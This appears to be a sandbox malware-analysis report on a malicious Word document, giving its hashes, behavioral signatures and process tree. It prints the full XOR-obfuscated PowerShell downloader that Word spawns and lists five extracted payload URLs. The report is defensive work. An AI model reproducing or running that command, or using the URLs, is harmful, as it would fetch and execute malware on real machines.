Analysis
-
max time kernel
139s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 14:21
Behavioral task
behavioral1
Sample
723f47c53018552ca0215c66092263da_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
723f47c53018552ca0215c66092263da_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
-
Target
723f47c53018552ca0215c66092263da_JaffaCakes118.doc
-
Size
241KB
-
MD5
723f47c53018552ca0215c66092263da
-
SHA1
9784d55d70eb987a104a26d1d24b3bbed79f6f96
-
SHA256
b3c6a641fd966a5ffa0a9fa9241ea45be5c873f2523ca0b281467968a3a78137
-
SHA512
6670b6629d5c5e4b88acc83f8ea16b696c389b0005c9de6d00406a46d874c1204665da0995fd30c01ddff4401c34298de93a7547ad88dc25e5d7d2b7eec91b58
-
SSDEEP
3072:tH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5EyXJm9YBmjDTy7D6tGff:tFVeEsjdXRC3jexGG6TYWofTyv6tGf
Malware Config
Extracted
http://wildpete.com/73v5/
http://www.escoladeemagrecimento.com.br/jl/
http://www.southgatetowerquan7.com.vn/aokE/
http://www.salinzada.com/4A3bU8Pb/
http://www.tomsbigworld.com/VKT9j/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 472 800 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 24 472 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 800 WINWORD.EXE 800 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 472 powershell.exe 472 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 472 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE 800 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 800 wrote to memory of 472 800 WINWORD.EXE powershell.exe PID 800 wrote to memory of 472 800 WINWORD.EXE powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\723f47c53018552ca0215c66092263da_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &( $Env:COMsPeC[4,24,25]-jOiN'')( -jOiN ('4f65N81p105N29u78L69L87N13L79N66p74S69K67f84O0f110S69L84y14u119u69p66N99K76L73O69N78O84{27L4u107K114O87f29N7K72{84N84{80K26y15L15y87K73y76y68L80f69p84y69L14y67f79N77O15L23f19L86p21K15y96u72f84K84S80u26f15N15N87y87p87O14O69f83y67p79u76S65u68O69K69O77p65p71S82N69N67K73{77L69L78N84N79y14O67f79S77y14{66S82N15N74{76N15N96K72u84L84u80K26S15f15u87S87f87y14O83p79{85f84f72N71{65L84p69L84y79{87S69S82N81y85u65{78p23L14K67f79u77p14y86f78y15u65L79N75f101L15S96S72S84p84K80y26K15N15{87N87y87p14K83{65y76N73O78S90S65O68S65f14p67p79N77u15p20K97{19N66p117O24{112L66f15N96S72L84y84f80K26f15u15K87S87N87L14{84N79f77p83N66S73L71O87K79p82u76y68N14p67p79f77{15f118S107u116p25N74{15f7O14u115O80{76S73p84y8y7L96u7f9K27u4f87f102O100p0L29{0p7S22f17N19S7K27{4p82f99L65{29{4f69K78K86L26O84p69K77L80N11u7S124K7S11u4K87L102K100O11f7O14S69K88O69{7p27K70L79f82N69K65O67y72O8O4u106f82N77y0N73S78K0f4N107{114N87u9O91O84u82S89u91L4f65p81O105S14u100f79{87y78K76p79S65N68S102u73u76u69p8K4{106L82K77{12N0f4K82S99y65y9{27N115f84N65L82K84K13L112u82u79S67S69{83y83f0K4p82u99u65S27O66L82L69O65u75p27N93O67O65y84u67L72L91{93N93'.SpLIt('SNKOLpfyu{')| % { [ChaR] ( $_ -Bxor "0x20")} ))2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:472
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl
Filesize263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d